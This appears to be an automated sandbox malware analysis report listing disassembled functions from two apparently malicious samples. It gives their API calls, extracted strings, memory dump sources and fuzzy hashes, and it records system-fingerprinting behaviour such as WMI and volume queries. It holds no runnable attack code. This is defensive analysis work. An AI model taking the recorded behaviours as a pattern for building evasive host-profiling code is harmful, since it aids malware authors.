Function 0041A6AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041A6F3
__CxxThrowException@8.LIBVCRUNTIME ref: 0041A701

Strings

pContext, xrefs: 0041A6EB

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1687795959-2046700901
Opcode ID: 461cd59295c88c429bbb33fc469b1d3de40ea0b95e4e38789b831016ca6fa9a9
Instruction ID: d030f8a46b7f0ce15bf467113487c9eb7ea0adec7c759207085fc528663f44cd
Opcode Fuzzy Hash: 461cd59295c88c429bbb33fc469b1d3de40ea0b95e4e38789b831016ca6fa9a9
Instruction Fuzzy Hash: 20F0503970021457CB00EB54E884D5EB778BF95794B04007BE901E3391CB78EC01C7A9

Function 0043D33A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0043D341

Strings

MOC, xrefs: 0043D364
RCC, xrefs: 0043D373

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: H_prolog3_catch
String ID: MOC$RCC
API String ID: 3886170330-2084237596
Opcode ID: 519c3ca714fcd5e7db29735f20afb455ae1400819b4a46d5085f7feced63b1c1
Instruction ID: 9fa165affed3be7d74171071c85945268d864796eaf831c1fcacb73af1d7d30a
Opcode Fuzzy Hash: 519c3ca714fcd5e7db29735f20afb455ae1400819b4a46d5085f7feced63b1c1
Instruction Fuzzy Hash: 02F03170A00124DFCB12EF65D44655D3670EF09709F855097F8505B311CB7C5F458B6E

Function 00748F14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 00748F49

Part of subcall function 00749275: std::_Lockit::_Lockit.LIBCPMT ref: 00749289
Part of subcall function 00749275: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 007492C6

Part of subcall function 00748EDB: __Getctype.LIBCPMT ref: 00748EEA
Part of subcall function 00748EDB: __Getcvt.LIBCPMT ref: 00748EFC

std::_Locinfo::~_Locinfo.LIBCPMT ref: 00748F65

Part of subcall function 00749320: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00749347
Part of subcall function 00749320: std::_Lockit::~_Lockit.LIBCPMT ref: 007493B8

Strings

=C, xrefs: 00748F16

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_$LocinfoLockit$GetctypeGetcvtLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: =C
API String ID: 120718195-1630774198
Opcode ID: 2bdaf6ea2d470f5747a48e18d9b34142cd6aaf5ab81dfc157dfc5011751583fc
Instruction ID: 3b512ff99cb5c9e828174fbedd5f71180459159f558392dd71bfa6ec552fe321
Opcode Fuzzy Hash: 2bdaf6ea2d470f5747a48e18d9b34142cd6aaf5ab81dfc157dfc5011751583fc
Instruction Fuzzy Hash: 39F0E2B150030AEFDB51EF90C45AB9E73A1BF04750F50800AF1096B2C1EFBC5945CB55

Function 007493CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 00749401

Part of subcall function 00749275: std::_Lockit::_Lockit.LIBCPMT ref: 00749289
Part of subcall function 00749275: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 007492C6

Part of subcall function 00749242: __Getctype.LIBCPMT ref: 0074925D

std::_Locinfo::~_Locinfo.LIBCPMT ref: 00749415

Part of subcall function 00749320: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00749347
Part of subcall function 00749320: std::_Lockit::~_Lockit.LIBCPMT ref: 007493B8

Strings

#C, xrefs: 007493CE

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_$LocinfoLockit$GetctypeLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: #C
API String ID: 3634385808-3202583125
Opcode ID: eb0e3335fe0fe9243699151a51bb21358bb2f336427c0647253dfffe32b01fdb
Instruction ID: 850a7a4a042b7a88c18821fec03e9b2bea51145b9826474845552edc0f8f9027
Opcode Fuzzy Hash: eb0e3335fe0fe9243699151a51bb21358bb2f336427c0647253dfffe32b01fdb
Instruction Fuzzy Hash: 24F0A731901205EADF01EF64C44BB9E7360BF54710F608015F2056B1C1DFBC5A02C754

Function 00425A27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 00425A33
__CxxThrowException@8.LIBVCRUNTIME ref: 00425A5A

Part of subcall function 004252B1: RaiseException.KERNEL32(?,?,0040A8C9,00000000,00000000,00000000,00000000,?,?,?,?,0040A8C9,00000000,00452CD0,00000000), ref: 00425311

Strings

Access violation - no RTTI data!, xrefs: 00425A2A

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 2053020834-2158758863
Opcode ID: 77a1f435bcb1e65ff4750c13afd10de5da719a28ad9a536cd1de58b53bc69b21
Instruction ID: 604f877625c0360ac8979551c2f25a45401220d52974a8c234ab4da81d4bc5a9
Opcode Fuzzy Hash: 77a1f435bcb1e65ff4750c13afd10de5da719a28ad9a536cd1de58b53bc69b21
Instruction Fuzzy Hash: 9FE02071B047196A4A00D5E0F447EFE73AC8504320BA00157F90093141EE3CFD80466C

Function 0041DF5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041DF7B
__CxxThrowException@8.LIBVCRUNTIME ref: 0041DF89

Strings

pThreadProxy, xrefs: 0041DF73

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pThreadProxy
API String ID: 1687795959-3651400591
Opcode ID: c902a83eead8c1ab3ba69bbcbf18024236bfd2ca103b784a0dd9a483e340dcea
Instruction ID: d539c67feaa62fcf9d314a848948cacae892a047e605a3528f4b424dfbbe6ac7
Opcode Fuzzy Hash: c902a83eead8c1ab3ba69bbcbf18024236bfd2ca103b784a0dd9a483e340dcea
Instruction Fuzzy Hash: 8BD05EB1E00308A7C700EBA5D907F8E73F85B11788F54457B6911B6187EAB8E615CAAC

Function 00767DA1 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,007427F7,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,007427F7,00000000), ref: 00767E37
GetLastError.KERNEL32 ref: 00767E45
MultiByteToWideChar.KERNEL32(?,00000001,?,?,007427F7,00000000), ref: 00767EA0

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: b078d8aed94250e81278373a56438e1e526389972d284f3102d61983709a15de
Instruction ID: 87da76ea9834b6d26e85c86f62b0eda229ecade478626d05cc4af85106c39abc
Opcode Fuzzy Hash: b078d8aed94250e81278373a56438e1e526389972d284f3102d61983709a15de
Instruction Fuzzy Hash: B741E73160C206EFCF2A8F64CC44ABA7BA5EF01398F2441A9FD5797291DB3A9D05CB50

Function 00427B3A Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00402590,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00402590,00000000), ref: 00427BD0
GetLastError.KERNEL32 ref: 00427BDE
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00402590,00000000), ref: 00427C39

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: c01e3aab6e19d93685ac4f69a098420368a9b0cd73a3096e9c648d9cfae5aa17
Instruction ID: aa99049258c83719a0d26a95d179a26ed17e2ec24e0fea6ff97a369ab8878185
Opcode Fuzzy Hash: c01e3aab6e19d93685ac4f69a098420368a9b0cd73a3096e9c648d9cfae5aa17
Instruction Fuzzy Hash: 62412530708222EFCB218F76E844ABF7BA4EF41310F5041ABE955972A1EB359D01CB5C

Analysis Process: 92F8.tmp.exePID: 640, Parent PID: 6640COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	31.8%
Total number of Nodes:	110
Total number of Limit Nodes:	10

Executed Functions

Function 00D8D0D0 Relevance: 32.5, APIs: 11, Strings: 7, Instructions: 957
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(80838290,00000000,00000001,?,00000000), ref: 00D8D572
SysAllocString.OLEAUT32 ref: 00D8D608
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00D8D646
SysAllocString.OLEAUT32 ref: 00D8D6A8
SysAllocString.OLEAUT32 ref: 00D8D765
VariantInit.OLEAUT32(?), ref: 00D8D7D6
SysFreeString.OLEAUT32(00000000), ref: 00D8DB5D
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00D8DB95

Strings

tu, xrefs: 00D8D5AC
[B, xrefs: 00D8D225
CfF, xrefs: 00D8D600
fF, xrefs: 00D8D5D0
yv, xrefs: 00D8D813
[J, xrefs: 00D8D21D
{pqv, xrefs: 00D8D120

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: String$Alloc$BlanketCreateFreeInformationInitInstanceProxyVariantVolume
String ID: fF$CfF$[B$[J$tu$yv${pqv
API String ID: 505850577-1972840126
Opcode ID: 91151108d9d7de22895029fe7bc527596e45be2e67381c685ac2f83a46ef76e6
Instruction ID: 984edb7a13c84774611e6c2c4833c9eb45b4385e8f25f46427e1e7c3d80ff863
Opcode Fuzzy Hash: 91151108d9d7de22895029fe7bc527596e45be2e67381c685ac2f83a46ef76e6
Instruction Fuzzy Hash: A6620072A083108FE314DF68C88575BBBE2EF95314F198A2DE4D58B3D0D7799809CB92

Function 00D58A60 Relevance: 7.7, APIs: 5, Instructions: 216
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00D58A84
GetCurrentThreadId.KERNEL32 ref: 00D58A8E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00D58B76
GetForegroundWindow.USER32 ref: 00D58B8B
ExitProcess.KERNEL32 ref: 00D58D07

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 4d3d6abddca3250f27116dd5b4aa2830349d1d72865477c6e69f49a102aa7eab
Instruction ID: 84b11aece450c64e959611366f2c341d39065c2d22c5da2d7d2d6c4532358bf1
Opcode Fuzzy Hash: 4d3d6abddca3250f27116dd5b4aa2830349d1d72865477c6e69f49a102aa7eab
Instruction Fuzzy Hash: 76618A73B043144BD718AE79DC1636AB6D39BC1710F0F863E9D95EB391ED78880A83A5

Function 00D5C080 Relevance: 6.4, Strings: 5, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

50, xrefs: 00D5C1AD
FwPq, xrefs: 00D5C0B9
DM_e, xrefs: 00D5C083
'!, xrefs: 00D5C119
Js, xrefs: 00D5C0C1

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: 50$DM_e$FwPq$Js$'!
API String ID: 0-1711485358
Opcode ID: dbdd1cb968d9039aecfb94561ae78e525c06f92bb313c0667657e863a3ca970f
Instruction ID: 539f9db2d1c9e4b70e2de8ab2952b1f2ae02a2d77b4545ef36772954f797d752
Opcode Fuzzy Hash: dbdd1cb968d9039aecfb94561ae78e525c06f92bb313c0667657e863a3ca970f
Instruction Fuzzy Hash: 8251E9B41493808FE338CF61C991B8ABBB1BBA1304F609A0CE6D95B254CB759046CF97

Function 00D68BA2 Relevance: 5.4, Strings: 4, Instructions: 367
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

oQ, xrefs: 00D68BD2
bd\,, xrefs: 00D68BB1
fnga, xrefs: 00D68BBC
PWPQ, xrefs: 00D68BC7

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: PWPQ$bd\,$fnga$oQ
API String ID: 0-3706350231
Opcode ID: 3e11ac6a0668fcdd5138528cc85675953adbd78127e954b49be80b9c169c68a0
Instruction ID: 081b723d01e43fa8c05b30dacdd7d6f8da905f08a9139e39a716d330ea5f0055
Opcode Fuzzy Hash: 3e11ac6a0668fcdd5138528cc85675953adbd78127e954b49be80b9c169c68a0
Instruction Fuzzy Hash: 04C10672A083508FD7258F28C8557AB77E5FFC6314F098A2DE8D58B351EB358805DBA2

Function 00D72370 Relevance: 4.2, Strings: 3, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-jkhanold~m`, xrefs: 00D724CE
d~m`, xrefs: 00D724B5
anold~m`, xrefs: 00D724DA

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID: -jkhanold~m`$anold~m`$d~m`
API String ID: 0-185452761
Opcode ID: d49d82f6dee0b69ccdeb9ac9c72559ba4ec1d23df509649ca449329d3e76b77d
Instruction ID: 63b080d3e68def6190d9a6a28a9b64927cc92b1bba534a59ad0698eab5f74764
Opcode Fuzzy Hash: d49d82f6dee0b69ccdeb9ac9c72559ba4ec1d23df509649ca449329d3e76b77d
Instruction Fuzzy Hash: 41D190706083808FD714DF68C895B6BBBE4FF95714F14891CE9998B391E7B8D809CB62

Function 00D65D89 Relevance: 1.6, APIs: 1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe4b692dc3bab5cff17c7dac69e6a58fa1f8ce717b82e149ad278be7db50d90
Instruction ID: 056d445fd7a7314cbf71c8254d226c7aab126f962c0efadabd70ca41f1f539c8
Opcode Fuzzy Hash: 7fe4b692dc3bab5cff17c7dac69e6a58fa1f8ce717b82e149ad278be7db50d90
Instruction Fuzzy Hash: 5F51B5B1A087428FC714CF58D49176BB7E2AB94304F188A2DE4DAC7342E735DD45DBA2

Function 00D92080 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00D9523A,00000002,00000018,?,?,00000018,?,?,?), ref: 00D920AE

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00D923C5 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00D923C5
GetForegroundWindow.USER32 ref: 00D923E0

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ebdea816f7143216898d02772d7273d36b5e3a9c4fb461c539c3ec831dea4bf7
Instruction ID: 229e94777e4b7b7e72d76631670cae61d2a97398b108b28afd747ed0338410e6
Opcode Fuzzy Hash: ebdea816f7143216898d02772d7273d36b5e3a9c4fb461c539c3ec831dea4bf7
Instruction Fuzzy Hash: 4BD0A7B5C456404BA7459B20FC0B85F3612DF5A3093044415E40B82327EA31118F86B6

Function 00D92020 Relevance: 1.5, APIs: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,00D5BC80,00000000,00000000), ref: 00D92052

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 77a2c11a05477db9ab0659db092a3f7749b5468489faa9f9c7d3ae4b4b78ca9d
Instruction ID: 32e48552f9408c12801672e4b4e431a2227e5c4cb9178c464c4c8340a6c44474
Opcode Fuzzy Hash: 77a2c11a05477db9ab0659db092a3f7749b5468489faa9f9c7d3ae4b4b78ca9d
Instruction Fuzzy Hash: 5CE09272515311EFDF102B38BC06B2B3A69EFC6721F054935F505E7215DA35E811C5B2

Function 00D5D400 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00D5D413

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0586ed7387b7b22ae4a8e065d730b561424a454a4b71fd702aa891fc1012ff4a
Instruction ID: 8049952002fbaadaae07aedcb2fa20fed41a8ed698d01e49971064509f8d64a9
Opcode Fuzzy Hash: 0586ed7387b7b22ae4a8e065d730b561424a454a4b71fd702aa891fc1012ff4a
Instruction Fuzzy Hash: 8AD05E3165024467D200761CDC57F5236589702B56F00021EF666C66D1D910A915D5B5

Function 00D5D433 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00D5D445

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: e7b3e94120ef62bc86a813eb67803b84e686ecea780a96f0de4664f1a4032ffc
Instruction ID: 802485f42f9691735a7721d3267a30abc31a79591c92fe35d7b4037db132e25d
Opcode Fuzzy Hash: e7b3e94120ef62bc86a813eb67803b84e686ecea780a96f0de4664f1a4032ffc
Instruction Fuzzy Hash: B4D092303C8305B6F6645A18EC67F1932505306F61F34021AB366EE7D0C99075018628

Function 00D904E2 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00D904FD

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d222a60a0103d29d0997067f2b70d5cae2e7e1da285c7cf6ca0090a851e4be0f
Instruction ID: 1d4f81e246ba336303400134e6200e225aa0820d6a136679f65382fa8f6e35b1
Opcode Fuzzy Hash: d222a60a0103d29d0997067f2b70d5cae2e7e1da285c7cf6ca0090a851e4be0f
Instruction Fuzzy Hash: E4C08C31104222EBCB102F28BC16BC63A21EF01361F0B4891F001E91B4C724CC91C9F0

Function 00D904B0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000001,00D58C27,FDFCE302), ref: 00D904C0

Memory Dump Source

Source File: 00000003.00000002.3111874141.0000000000D51000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000003.00000002.3111847787.0000000000D50000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111928348.0000000000D99000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3111951026.0000000000DA7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d50000_92F8.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d41a776ccc2020e553a97cd70a7bda55b6444ed89c9a197431c54050a73f046
Instruction ID: d8a57d3f3f4dec6e5a0357ce01ec22af955e5dee8467c52cf2313be533885f0f
Opcode Fuzzy Hash: 9d41a776ccc2020e553a97cd70a7bda55b6444ed89c9a197431c54050a73f046
Instruction Fuzzy Hash: 13C04871045220AACE102B24EC09BCA3A68EF56262F064492B005A71B1C6A0AC828AA4

Non-executed Functions

Function 00D6618C Relevance: 13.5, Strings: 10, Instructions: 1044COMMON

Download Yara Rule

Strings

yx, xrefs: 00D6628E
fjM, xrefs: 00D66B0D
{, xrefs: 00D66299
6, xrefs: 00D66C5B
YjM, xrefs: 00D66B56
